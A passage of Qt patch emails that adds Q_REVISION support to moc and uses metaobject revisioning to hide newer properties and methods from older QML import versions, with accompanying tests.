(!ok || propDef.revision < 0) + error(1); + } else error(2); break; case 'S': @@ -1002,6 +1069,8 @@ void Moc::parseProperty(ClassDef *def) if(!propDef.notify.isEmpty()) def->notifyableProperties++; + if (propDef.revision > 0) + ++def->revisionedProperties; def->propertyList += propDef; } @@ -1028,6 +1097,8 @@ void Moc::parsePrivateProperty(ClassDef *def) if(!propDef.notify.isEmpty()) def->notifyableProperties++; + if (propDef.revision > 0) + ++def->revisionedProperties; def->propertyList += propDef; } @@ -1177,6 +1248,9 @@ void Moc::parseSlotInPrivate(ClassDef *def, FunctionDef::Access access) funcDef.arguments.removeLast(); def->slotList += funcDef; } + if (funcDef.revision > 0) + ++def->revisionedMethods; + } QByteArray Moc::lexemUntil(Token target) diff --git a/src/tools/moc/moc.h b/src/tools/moc/moc.h index 5e47d9a..c07ec0b 100644 --- a/src/tools/moc/moc.h +++ b/src/tools/moc/moc.h @@ -86,7 +86,7 @@ struct FunctionDef FunctionDef(): returnTypeIsVolatile(false), access(Private), isConst(false), isVirtual(false), inlineCode(false), wasCloned(false), isCompat(false), isInvokable(false), isScriptable(false), isSlot(false), isSignal(false), - isConstructor(false), isDestructor(false), isAbstract(false) {} + isConstructor(false), isDestructor(false), isAbstract(false), revision(0) {} Type type; QByteArray normalizedType; QByteArray tag; @@ -111,11 +111,13 @@ struct FunctionDef bool isConstructor; bool isDestructor; bool isAbstract; + + int revision; }; struct PropertyDef { - PropertyDef():notifyId(-1), constant(false), final(false), gspec(ValueSpec){} + PropertyDef():notifyId(-1), constant(false), final(false), gspec(ValueSpec), revision(0){} QByteArray name, type, read, write, reset, designable, scriptable, editable, stored, user, notify, inPrivateClass; int notifyId; bool constant; @@ -128,6 +130,7 @@ struct PropertyDef s += name.mid(1); return (s == write); } + int revision; }; @@ -139,7 +142,8 @@ struct ClassInfoDef struct ClassDef { ClassDef(): - hasQObject(false), hasQGadget(false), notifyableProperties(0), begin(0), end(0){} + hasQObject(false), hasQGadget(false), notifyableProperties(0) + , revisionedMethods(0), revisionedProperties(0), begin(0), end(0){} QByteArray classname; QByteArray qualified; QList > superclassList; @@ -164,6 +168,8 @@ struct ClassDef { QMap enumDeclarations; QList enumList; QMap flagAliases; + int revisionedMethods; + int revisionedProperties; int begin; int end; @@ -236,6 +242,7 @@ public: // in FunctionDef accordingly bool testFunctionAttribute(FunctionDef *def); bool testFunctionAttribute(Token tok, FunctionDef *def); + bool testFunctionRevision(FunctionDef *def); void checkSuperClasses(ClassDef *def); void checkProperties(ClassDef* cdef); diff --git a/src/tools/moc/token.cpp b/src/tools/moc/token.cpp index 3da9446..27d5146 100644 --- a/src/tools/moc/token.cpp +++ b/src/tools/moc/token.cpp @@ -180,6 +180,7 @@ const char *tokenTypeName(Token t) case Q_SLOT_TOKEN: return "Q_SLOT_TOKEN"; case Q_PRIVATE_SLOT_TOKEN: return "Q_PRIVATE_SLOT_TOKEN"; case Q_PRIVATE_PROPERTY_TOKEN: return "Q_PRIVATE_PROPERTY_TOKEN"; + case Q_REVISION_TOKEN: return "Q_REVISION_TOKEN"; case SPECIAL_TREATMENT_MARK: return "SPECIAL_TREATMENT_MARK"; case MOC_INCLUDE_BEGIN: return "MOC_INCLUDE_BEGIN"; case MOC_INCLUDE_END: return "MOC_INCLUDE_END"; diff --git a/src/tools/moc/token.h b/src/tools/moc/token.h index 6ca3d84..8b72eb6 100644 --- a/src/tools/moc/token.h +++ b/src/tools/moc/token.h @@ -186,6 +186,7 @@ enum Token { Q_INVOKABLE_TOKEN, Q_SCRIPTABLE_TOKEN, Q_PRIVATE_PROPERTY_TOKEN, + Q_REVISION_TOKEN, Q_META_TOKEN_END, SPECIAL_TREATMENT_MARK = Q_META_TOKEN_END, MOC_INCLUDE_BEGIN, diff --git a/src/tools/moc/util/generate_keywords.cpp b/src/tools/moc/util/generate_keywords.cpp index 88f187d..e9463e1 100644 --- a/src/tools/moc/util/generate_keywords.cpp +++ b/src/tools/moc/util/generate_keywords.cpp @@ -249,6 +249,7 @@ static const Keyword keywords[] = { { "Q_SLOT", "Q_SLOT_TOKEN" }, { "Q_SCRIPTABLE", "Q_SCRIPTABLE_TOKEN" }, { "Q_PRIVATE_PROPERTY", "Q_PRIVATE_PROPERTY_TOKEN" }, + { "Q_REVISION", "Q_REVISION_TOKEN" }, { "\n", "NEWLINE" }, { "\"", "QUOTE" }, { "\'", "SINGLEQUOTE" }, diff --git a/tests/auto/moc/tst_moc.cpp b/tests/auto/moc/tst_moc.cpp index bb23f49..a634349 100644 --- a/tests/auto/moc/tst_moc.cpp +++ b/tests/auto/moc/tst_moc.cpp @@ -493,6 +493,7 @@ private slots: void QTBUG5590_dummyProperty(); void QTBUG12260_defaultTemplate(); void notifyError(); + void revisions(); signals: void sigWithUnsignedArg(unsigned foo); void sigWithSignedArg(signed foo); @@ -507,6 +508,7 @@ private: bool user2() { return false; }; bool user3() { return false; }; bool userFunction(){ return false; }; + template void revisions_T(); private: QString qtIncludePath; @@ -1384,6 +1386,117 @@ void tst_Moc::notifyError() #endif } +// If changed, update VersionTestNotify below +class VersionTest : public QObject +{ + Q_OBJECT + Q_PROPERTY(int prop1 READ foo) + Q_PROPERTY(int prop2 READ foo REVISION 2) + Q_ENUMS(TestEnum); + +public: + int foo() const { return 0; } + + Q_INVOKABLE void method1() {} + Q_INVOKABLE Q_REVISION(4) void method2() {} + + enum TestEnum { One, Two }; + +public slots: + void slot1() {} + Q_REVISION(3) void slot2() {} + +signals: + void signal1(); + Q_REVISION(5) void signal2(); + +public slots Q_REVISION(6): + void slot3() {} + void slot4() {} + +signals Q_REVISION(7): + void signal3(); + void signal4(); +}; + +// If changed, update VersionTest above +class VersionTestNotify : public QObject +{ + Q_OBJECT + Q_PROPERTY(int prop1 READ foo NOTIFY fooChanged) + Q_PROPERTY(int prop2 READ foo REVISION 2) + Q_ENUMS(TestEnum); + +public: + int foo() const { return 0; } + + Q_INVOKABLE void method1() {} + Q_INVOKABLE Q_REVISION(4) void method2() {} + + enum TestEnum { One, Two }; + +public slots: + void slot1() {} + Q_REVISION(3) void slot2() {} + +signals: + void fooChanged(); + void signal1(); + Q_REVISION(5) void signal2(); + +public slots Q_REVISION(6): + void slot3() {} + void slot4() {} + +signals Q_REVISION(7): + void signal3(); + void signal4(); +}; + +template +void tst_Moc::revisions_T() +{ + int idx = T::staticMetaObject.indexOfProperty("prop1"); + QVERIFY(T::staticMetaObject.property(idx).revision() == 0); + idx = T::staticMetaObject.indexOfProperty("prop2"); + QVERIFY(T::staticMetaObject.property(idx).revision() == 2); + + idx = T::staticMetaObject.indexOfMethod("method1()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 0); + idx = T::staticMetaObject.indexOfMethod("method2()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 4); + + idx = T::staticMetaObject.indexOfSlot("slot1()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 0); + idx = T::staticMetaObject.indexOfSlot("slot2()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 3); + + idx = T::staticMetaObject.indexOfSlot("slot3()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 6); + idx = T::staticMetaObject.indexOfSlot("slot4()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 6); + + idx = T::staticMetaObject.indexOfSignal("signal1()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 0); + idx = T::staticMetaObject.indexOfSignal("signal2()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 5); + + idx = T::staticMetaObject.indexOfSignal("signal3()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 7); + idx = T::staticMetaObject.indexOfSignal("signal4()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 7); + + idx = T::staticMetaObject.indexOfEnumerator("TestEnum"); + QCOMPARE(T::staticMetaObject.enumerator(idx).keyCount(), 2); + QCOMPARE(T::staticMetaObject.enumerator(idx).key(0), "One"); +} + +// test using both class that has properties with and without NOTIFY signals +void tst_Moc::revisions() +{ + revisions_T(); + revisions_T(); +} QTEST_APPLESS_MAIN(tst_Moc) #include "tst_moc.moc" -- cgit v0.12 From ffd499eb6ff64df1833625f64dbbf92e0e0746d4 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Wed, 5 Jan 2011 13:57:17 +1000 Subject: Support property/method versions in QML Use metaobject revisioning to exclude properties/revisions added in later versions from interfering with earlier versions. Task-number: QTBUG-13451 Reviewed-by: Aaron Kennedy --- src/declarative/qml/qdeclarative.h | 77 +++++++++- .../qml/qdeclarativecompiledbindings.cpp | 4 + src/declarative/qml/qdeclarativecompiler.cpp | 17 ++- src/declarative/qml/qdeclarativedata_p.h | 5 +- src/declarative/qml/qdeclarativeinstruction_p.h | 1 + src/declarative/qml/qdeclarativemetatype.cpp | 83 ++++++++++- src/declarative/qml/qdeclarativemetatype_p.h | 5 + .../qml/qdeclarativeobjectscriptclass.cpp | 14 ++ src/declarative/qml/qdeclarativeprivate.h | 1 + src/declarative/qml/qdeclarativepropertycache.cpp | 3 +- src/declarative/qml/qdeclarativepropertycache_p.h | 4 +- src/declarative/qml/qdeclarativescriptparser.cpp | 1 - src/declarative/qml/qdeclarativevaluetype.cpp | 1 + src/declarative/qml/qdeclarativevme.cpp | 4 + src/declarative/qml/qmetaobjectbuilder.cpp | 33 +---- src/declarative/qml/qmetaobjectbuilder_p.h | 2 - .../util/qdeclarativeopenmetaobject.cpp | 1 - .../data/metaobjectRevision.qml | 7 + .../data/metaobjectRevision2.qml | 9 ++ .../data/metaobjectRevision3.qml | 8 + .../data/metaobjectRevisionErrors.qml | 14 ++ .../data/metaobjectRevisionErrors2.qml | 24 +++ .../data/metaobjectRevisionErrors3.qml | 36 +++++ .../qdeclarativeecmascript/testtypes.cpp | 9 ++ .../declarative/qdeclarativeecmascript/testtypes.h | 161 ++++++++++++++++++++ .../tst_qdeclarativeecmascript.cpp | 82 +++++++++++ .../data/metaobjectRevision.1.errors.txt | 1 + .../data/metaobjectRevision.1.qml | 8 + .../data/metaobjectRevision.2.errors.txt | 1 + .../data/metaobjectRevision.2.qml | 7 + .../data/metaobjectRevision.3.errors.txt | 1 + .../data/metaobjectRevision.3.qml | 10 ++ .../qdeclarativelanguage/data/revisions10.qml | 8 + .../qdeclarativelanguage/data/revisions11.qml | 10 ++ .../data/revisionsbasesub11.qml | 16 ++ .../qdeclarativelanguage/data/revisionssub10.qml | 10 ++ .../qdeclarativelanguage/data/revisionssub11.qml | 12 ++ .../declarative/qdeclarativelanguage/testtypes.cpp | 9 ++ .../declarative/qdeclarativelanguage/testtypes.h | 163 +++++++++++++++++++++ .../tst_qdeclarativelanguage.cpp | 62 ++++++++ .../qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp | 12 +- 41 files changed, 883 insertions(+), 53 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/revisions10.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/revisionssub10.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml diff --git a/src/declarative/qml/qdeclarative.h b/src/declarative/qml/qdeclarative.h index f0c62f4..8a6d068 100644 --- a/src/declarative/qml/qdeclarative.h +++ b/src/declarative/qml/qdeclarative.h @@ -113,6 +113,7 @@ int qmlRegisterType() 0, 0, + 0, 0 }; @@ -148,6 +149,7 @@ int qmlRegisterUncreatableType(const char *uri, int versionMajor, int versionMin 0, 0, + 0, 0 }; @@ -181,12 +183,82 @@ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const c 0, 0, + 0, 0 }; return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type); } +template +int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) +{ + QByteArray name(T::staticMetaObject.className()); + + QByteArray pointerName(name + '*'); + QByteArray listName("QDeclarativeListProperty<" + name + ">"); + + QDeclarativePrivate::RegisterType type = { + 1, + + qRegisterMetaType(pointerName.constData()), + qRegisterMetaType >(listName.constData()), + sizeof(T), QDeclarativePrivate::createInto, + QString(), + + uri, versionMajor, versionMinor, qmlName, &T::staticMetaObject, + + QDeclarativePrivate::attachedPropertiesFunc(), + QDeclarativePrivate::attachedPropertiesMetaObject(), + + QDeclarativePrivate::StaticCastSelector::cast(), + QDeclarativePrivate::StaticCastSelector::cast(), + QDeclarativePrivate::StaticCastSelector::cast(), + + 0, 0, + + 0, + metaObjectRevision + }; + + return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type); +} + +template +int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor) +{ + QByteArray name(T::staticMetaObject.className()); + + QByteArray pointerName(name + '*'); + QByteArray listName("QDeclarativeListProperty<" + name + ">"); + + QDeclarativePrivate::RegisterType type = { + 1, + + qRegisterMetaType(pointerName.constData()), + qRegisterMetaType >(listName.constData()), + sizeof(T), QDeclarativePrivate::createInto, + QString(), + + uri, versionMajor, versionMinor, 0, &T::staticMetaObject, + + QDeclarativePrivate::attachedPropertiesFunc(), + QDeclarativePrivate::attachedPropertiesMetaObject(), + + QDeclarativePrivate::StaticCastSelector::cast(), + QDeclarativePrivate::StaticCastSelector::cast(), + QDeclarativePrivate::StaticCastSelector::cast(), + + 0, 0, + + 0, + metaObjectRevision + }; + + return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type); +} + + template int qmlRegisterExtendedType() { @@ -214,6 +286,7 @@ int qmlRegisterExtendedType() QDeclarativePrivate::createParent, &E::staticMetaObject, + 0, 0 }; @@ -255,6 +328,7 @@ int qmlRegisterExtendedType(const char *uri, int versionMajor, int versionMinor, QDeclarativePrivate::createParent, &E::staticMetaObject, + 0, 0 }; @@ -309,7 +383,8 @@ int qmlRegisterCustomType(const char *uri, int versionMajor, int versionMinor, 0, 0, - parser + parser, + 0 }; return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type); diff --git a/src/declarative/qml/qdeclarativecompiledbindings.cpp b/src/declarative/qml/qdeclarativecompiledbindings.cpp index 48f8b84..619016b 100644 --- a/src/declarative/qml/qdeclarativecompiledbindings.cpp +++ b/src/declarative/qml/qdeclarativecompiledbindings.cpp @@ -2527,6 +2527,10 @@ bool QDeclarativeBindingCompilerPrivate::fetch(Result &rv, const QMetaObject *mo rv.metaObject = 0; rv.type = 0; + //XXX binding optimizer doesn't handle properties with a revision + if (prop.revision() > 0) + return false; + int fastFetchIndex = fastProperties()->accessorIndexForProperty(mo, idx); Instr fetch; diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index b2b0990..0c56165 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -902,6 +902,7 @@ void QDeclarativeCompiler::genObject(QDeclarativeParser::Object *obj) create.line = obj->location.start.line; create.createSimple.create = output->types.at(obj->type).type->createFunction(); create.createSimple.typeSize = output->types.at(obj->type).type->createSize(); + create.createSimple.type = obj->type; create.createSimple.column = obj->location.start.column; output->bytecode << create; @@ -1351,7 +1352,8 @@ bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDecl if(name[0] >= 'A' && name[0] <= 'Z') name[0] = name[0] - 'A' + 'a'; - int sigIdx = QDeclarativePropertyPrivate::findSignalByName(obj->metaObject(), name).methodIndex(); + QMetaMethod method = QDeclarativePropertyPrivate::findSignalByName(obj->metaObject(), name); + int sigIdx = method.methodIndex(); if (sigIdx == -1) { @@ -1364,6 +1366,13 @@ bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDecl if (prop->value || prop->values.count() != 1) COMPILE_EXCEPTION(prop, tr("Incorrectly specified signal assignment")); + if (method.revision() > 0) { + QDeclarativeType *type = output->types.at(obj->type).type; + if (!type->isMethodAvailable(sigIdx, method.revision())) { + COMPILE_EXCEPTION(prop, tr("Signal \"%1\" not available in %2 %3.%4").arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type->qmlTypeName())).arg(obj->majorVersion).arg(obj->minorVersion)); + } + } + prop->index = sigIdx; obj->addSignalProperty(prop); @@ -1481,6 +1490,12 @@ bool QDeclarativeCompiler::buildProperty(QDeclarativeParser::Property *prop, // successful index resolution if (p.name()) { prop->type = p.userType(); + if (p.revision() > 0) { + QDeclarativeType *type = output->types.at(obj->type).type; + if (!type->isPropertyAvailable(prop->index, p.revision())) { + COMPILE_EXCEPTION(prop, tr("Property \"%1\" not available in %2 %3.%4").arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type->qmlTypeName())).arg(obj->majorVersion).arg(obj->minorVersion)); + } + } } // Check if this is an alias diff --git a/src/declarative/qml/qdeclarativedata_p.h b/src/declarative/qml/qdeclarativedata_p.h index 4767169..81f279c 100644 --- a/src/declarative/qml/qdeclarativedata_p.h +++ b/src/declarative/qml/qdeclarativedata_p.h @@ -66,6 +66,7 @@ class QDeclarativePropertyCache; class QDeclarativeContextData; class QDeclarativeNotifier; class QDeclarativeDataExtended; +class QDeclarativeType; // This class is structured in such a way, that simply zero'ing it is the // default state for elemental object allocations. This is crucial in the // workings of the QDeclarativeInstruction::CreateSimpleObject instruction. @@ -77,7 +78,7 @@ public: : ownMemory(true), ownContext(false), indestructible(true), explicitIndestructibleSet(false), context(0), outerContext(0), bindings(0), nextContextObject(0), prevContextObject(0), bindingBitsSize(0), bindingBits(0), lineNumber(0), columnNumber(0), deferredComponent(0), deferredIdx(0), - scriptValue(0), objectDataRefCount(0), propertyCache(0), guards(0), extendedData(0) { + scriptValue(0), objectDataRefCount(0), propertyCache(0), guards(0), type(0), extendedData(0) { init(); } @@ -136,6 +137,8 @@ public: QDeclarativeGuard *guards; + const QDeclarativeType *type; + static QDeclarativeData *get(const QObject *object, bool create = false) { QObjectPrivate *priv = QObjectPrivate::get(const_cast(object)); if (priv->wasDeleted) { diff --git a/src/declarative/qml/qdeclarativeinstruction_p.h b/src/declarative/qml/qdeclarativeinstruction_p.h index 94676fc..4030bab 100644 --- a/src/declarative/qml/qdeclarativeinstruction_p.h +++ b/src/declarative/qml/qdeclarativeinstruction_p.h @@ -182,6 +182,7 @@ public: struct CreateSimpleInstruction { void (*create)(void *); int typeSize; + int type; ushort column; }; struct StoreMetaInstruction { diff --git a/src/declarative/qml/qdeclarativemetatype.cpp b/src/declarative/qml/qdeclarativemetatype.cpp index 7a78a1f..1f387c4 100644 --- a/src/declarative/qml/qdeclarativemetatype.cpp +++ b/src/declarative/qml/qdeclarativemetatype.cpp @@ -134,10 +134,13 @@ public: bool m_isInterface : 1; const char *m_iid; + QByteArray m_module; QByteArray m_name; int m_version_maj; int m_version_min; int m_typeId; int m_listId; + int m_revision; + mutable QDeclarativeType *m_superType; int m_allocationSize; void (*m_newFunc)(void *); @@ -155,6 +158,7 @@ public: int m_index; QDeclarativeCustomParser *m_customParser; mutable volatile bool m_isSetup:1; + mutable bool m_haveSuperType : 1; mutable QList m_metaObjects; static QHash m_attachedPropertyIds; @@ -163,10 +167,10 @@ public: QHash QDeclarativeTypePrivate::m_attachedPropertyIds; QDeclarativeTypePrivate::QDeclarativeTypePrivate() -: m_isInterface(false), m_iid(0), m_typeId(0), m_listId(0), +: m_isInterface(false), m_iid(0), m_typeId(0), m_listId(0), m_revision(0), m_superType(0), m_allocationSize(0), m_newFunc(0), m_baseMetaObject(0), m_attachedPropertiesFunc(0), m_attachedPropertiesType(0), m_parserStatusCast(-1), m_propertyValueSourceCast(-1), m_propertyValueInterceptorCast(-1), - m_extFunc(0), m_extMetaObject(0), m_index(-1), m_customParser(0), m_isSetup(false) + m_extFunc(0), m_extMetaObject(0), m_index(-1), m_customParser(0), m_isSetup(false), m_haveSuperType(false) { } @@ -192,9 +196,11 @@ QDeclarativeType::QDeclarativeType(int index, const QDeclarativePrivate::Registe if (type.uri) name += '/'; name += type.elementName; + d->m_module = type.uri; d->m_name = name; d->m_version_maj = type.versionMajor; d->m_version_min = type.versionMinor; + d->m_revision = type.revision; d->m_typeId = type.typeId; d->m_listId = type.listId; d->m_allocationSize = type.objectSize; @@ -243,6 +249,56 @@ bool QDeclarativeType::availableInVersion(int vmajor, int vminor) const return vmajor > d->m_version_maj || (vmajor == d->m_version_maj && vminor >= d->m_version_min); } +bool QDeclarativeType::availableInVersion(const QByteArray &module, int vmajor, int vminor) const +{ + return module == d->m_module && (vmajor > d->m_version_maj || (vmajor == d->m_version_maj && vminor >= d->m_version_min)); +} + +// returns the nearest _registered_ super class +QDeclarativeType *QDeclarativeType::superType() const +{ + if (!d->m_haveSuperType) { + const QMetaObject *mo = d->m_baseMetaObject->superClass(); + while (mo && !d->m_superType) { + d->m_superType = QDeclarativeMetaType::qmlType(mo, d->m_module, d->m_version_maj, d->m_version_min); + mo = mo->superClass(); + } + d->m_haveSuperType = true; + } + + return d->m_superType; +} + +bool QDeclarativeType::isPropertyAvailable(int index, int revision) const +{ + if (revision == 0) + return true; + + if (index < d->m_baseMetaObject->propertyOffset()) { + if (QDeclarativeType *super = superType()) + return super->isPropertyAvailable(index, revision); + } else if (index < d->m_baseMetaObject->propertyOffset() + d->m_baseMetaObject->propertyCount()) { + return d->m_revision >= revision; + } + + return false; +} + +bool QDeclarativeType::isMethodAvailable(int index, int revision) const +{ + if (revision == 0) + return true; + + if (index < d->m_baseMetaObject->methodOffset()) { + if (QDeclarativeType *super = superType()) + return super->isMethodAvailable(index, revision); + } else if (index < d->m_baseMetaObject->methodOffset() + d->m_baseMetaObject->methodCount()) { + return d->m_revision >= revision; + } + + return false; +} + static void clone(QMetaObjectBuilder &builder, const QMetaObject *mo, const QMetaObject *ignoreStart, const QMetaObject *ignoreEnd) { @@ -572,7 +628,7 @@ int registerType(const QDeclarativePrivate::RegisterType &type) if (!dtype->qmlTypeName().isEmpty()) data->nameToType.insertMulti(dtype->qmlTypeName(), dtype); - data->metaObjectToType.insert(dtype->baseMetaObject(), dtype); + data->metaObjectToType.insertMulti(dtype->baseMetaObject(), dtype); if (data->objects.size() <= type.typeId) data->objects.resize(type.typeId + 16); @@ -862,6 +918,27 @@ QDeclarativeType *QDeclarativeMetaType::qmlType(const QMetaObject *metaObject) } /*! + Returns the type (if any) that corresponds to the \a metaObject in version specified + by \a version_major and \a version_minor in module specified by \a uri. Returns null if no + type is registered. +*/ +QDeclarativeType *QDeclarativeMetaType::qmlType(const QMetaObject *metaObject, const QByteArray &module, int version_major, int version_minor) +{ + QReadLocker lock(metaTypeDataLock()); + QDeclarativeMetaTypeData *data = metaTypeData(); + + QDeclarativeMetaTypeData::MetaObjects::const_iterator it = data->metaObjectToType.find(metaObject); + while (it != data->metaObjectToType.end() && it.key() == metaObject) { + QDeclarativeType *t = *it; + if (version_major < 0 || t->availableInVersion(module, version_major,version_minor)) + return t; + ++it; + } + + return 0; +} + +/*! Returns the type (if any) that corresponds to the QVariant::Type \a userType. Returns null if no type is registered. */ diff --git a/src/declarative/qml/qdeclarativemetatype_p.h b/src/declarative/qml/qdeclarativemetatype_p.h index 9c486d3..d9a3795 100644 --- a/src/declarative/qml/qdeclarativemetatype_p.h +++ b/src/declarative/qml/qdeclarativemetatype_p.h @@ -76,6 +76,7 @@ public: static QDeclarativeType *qmlType(const QByteArray &, int, int); static QDeclarativeType *qmlType(const QMetaObject *); + static QDeclarativeType *qmlType(const QMetaObject *metaObject, const QByteArray &module, int version_major, int version_minor); static QDeclarativeType *qmlType(int); static QMetaProperty defaultProperty(const QMetaObject *); @@ -115,6 +116,9 @@ public: int majorVersion() const; int minorVersion() const; bool availableInVersion(int vmajor, int vminor) const; + bool availableInVersion(const QByteArray &module, int vmajor, int vminor) const; + bool isPropertyAvailable(int index, int revision) const; + bool isMethodAvailable(int index, int revision) const; QObject *create() const; void create(QObject **, void **, size_t) const; @@ -149,6 +153,7 @@ public: int index() const; private: + QDeclarativeType *superType() const; friend class QDeclarativeTypePrivate; friend struct QDeclarativeMetaTypeData; friend int registerType(const QDeclarativePrivate::RegisterType &); diff --git a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp index b0bc5bb..090eeda 100644 --- a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp +++ b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp @@ -166,6 +166,20 @@ QDeclarativeObjectScriptClass::queryProperty(QObject *obj, const Identifier &nam QDeclarativeEnginePrivate *enginePrivate = QDeclarativeEnginePrivate::get(engine); lastData = QDeclarativePropertyCache::property(engine, obj, name, local); + if (lastData && lastData->revision > 0 && (hints & ImplicitObject)) { + QDeclarativeData *data = QDeclarativeData::get(obj); + if (data) { + if (!data->type) { + lastData = 0; + } else if (lastData->flags & QDeclarativePropertyCache::Data::IsFunction) { + if (!data->type->isMethodAvailable(lastData->coreIndex, lastData->revision)) + lastData = 0; + } else if (!data->type->isPropertyAvailable(lastData->coreIndex, lastData->revision)) { + lastData = 0; + } + } + } + if (lastData) return QScriptClass::HandlesReadAccess | QScriptClass::HandlesWriteAccess; diff --git a/src/declarative/qml/qdeclarativeprivate.h b/src/declarative/qml/qdeclarativeprivate.h index 388c92e..a4fc4c1 100644 --- a/src/declarative/qml/qdeclarativeprivate.h +++ b/src/declarative/qml/qdeclarativeprivate.h @@ -214,6 +214,7 @@ namespace QDeclarativePrivate const QMetaObject *extensionMetaObject; QDeclarativeCustomParser *customParser; + int revision; }; struct RegisterInterface { diff --git a/src/declarative/qml/qdeclarativepropertycache.cpp b/src/declarative/qml/qdeclarativepropertycache.cpp index dd9a224..76c9eb9 100644 --- a/src/declarative/qml/qdeclarativepropertycache.cpp +++ b/src/declarative/qml/qdeclarativepropertycache.cpp @@ -88,6 +88,7 @@ void QDeclarativePropertyCache::Data::load(const QMetaProperty &p, QDeclarativeE coreIndex = p.propertyIndex(); notifyIndex = p.notifySignalIndex(); flags = flagsForProperty(p, engine); + revision = p.revision(); } void QDeclarativePropertyCache::Data::load(const QMetaMethod &m) @@ -106,6 +107,7 @@ void QDeclarativePropertyCache::Data::load(const QMetaMethod &m) QList params = m.parameterTypes(); if (!params.isEmpty()) flags |= Data::HasArguments; + revision = m.revision(); } @@ -235,7 +237,6 @@ void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaOb Data::Flag propertyFlags, Data::Flag methodFlags, Data::Flag signalFlags) { QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(engine); - int methodCount = metaObject->methodCount(); // 3 to block the destroyed signal and the deleteLater() slot int methodOffset = qMax(3, metaObject->methodOffset()); diff --git a/src/declarative/qml/qdeclarativepropertycache_p.h b/src/declarative/qml/qdeclarativepropertycache_p.h index f7c5daa..3f7f9ef 100644 --- a/src/declarative/qml/qdeclarativepropertycache_p.h +++ b/src/declarative/qml/qdeclarativepropertycache_p.h @@ -110,6 +110,7 @@ public: int notifyIndex; // When !IsFunction int relatedIndex; // When IsFunction }; + int revision; static Flags flagsForProperty(const QMetaProperty &, QDeclarativeEngine *engine = 0); void load(const QMetaProperty &, QDeclarativeEngine *engine = 0); @@ -176,7 +177,8 @@ bool QDeclarativePropertyCache::Data::operator==(const QDeclarativePropertyCache return flags == other.flags && propType == other.propType && coreIndex == other.coreIndex && - notifyIndex == other.notifyIndex; + notifyIndex == other.notifyIndex && + revision == other.revision; } QDeclarativePropertyCache::Data * diff --git a/src/declarative/qml/qdeclarativescriptparser.cpp b/src/declarative/qml/qdeclarativescriptparser.cpp index 57cc9ab..e32a3d2 100644 --- a/src/declarative/qml/qdeclarativescriptparser.cpp +++ b/src/declarative/qml/qdeclarativescriptparser.cpp @@ -307,7 +307,6 @@ ProcessAST::defineObjectBinding(AST::UiQualifiedId *propertyName, obj->location = location; if (propertyCount) { - Property *prop = currentProperty(); Value *v = new Value; v->object = obj; diff --git a/src/declarative/qml/qdeclarativevaluetype.cpp b/src/declarative/qml/qdeclarativevaluetype.cpp index 5dc6ffd..bf02de8 100644 --- a/src/declarative/qml/qdeclarativevaluetype.cpp +++ b/src/declarative/qml/qdeclarativevaluetype.cpp @@ -71,6 +71,7 @@ int qmlRegisterValueTypeEnums(const char *uri, int versionMajor, int versionMino 0, 0, + 0, 0 }; diff --git a/src/declarative/qml/qdeclarativevme.cpp b/src/declarative/qml/qdeclarativevme.cpp index c742dec..6ee653b 100644 --- a/src/declarative/qml/qdeclarativevme.cpp +++ b/src/declarative/qml/qdeclarativevme.cpp @@ -194,6 +194,8 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack &stack, 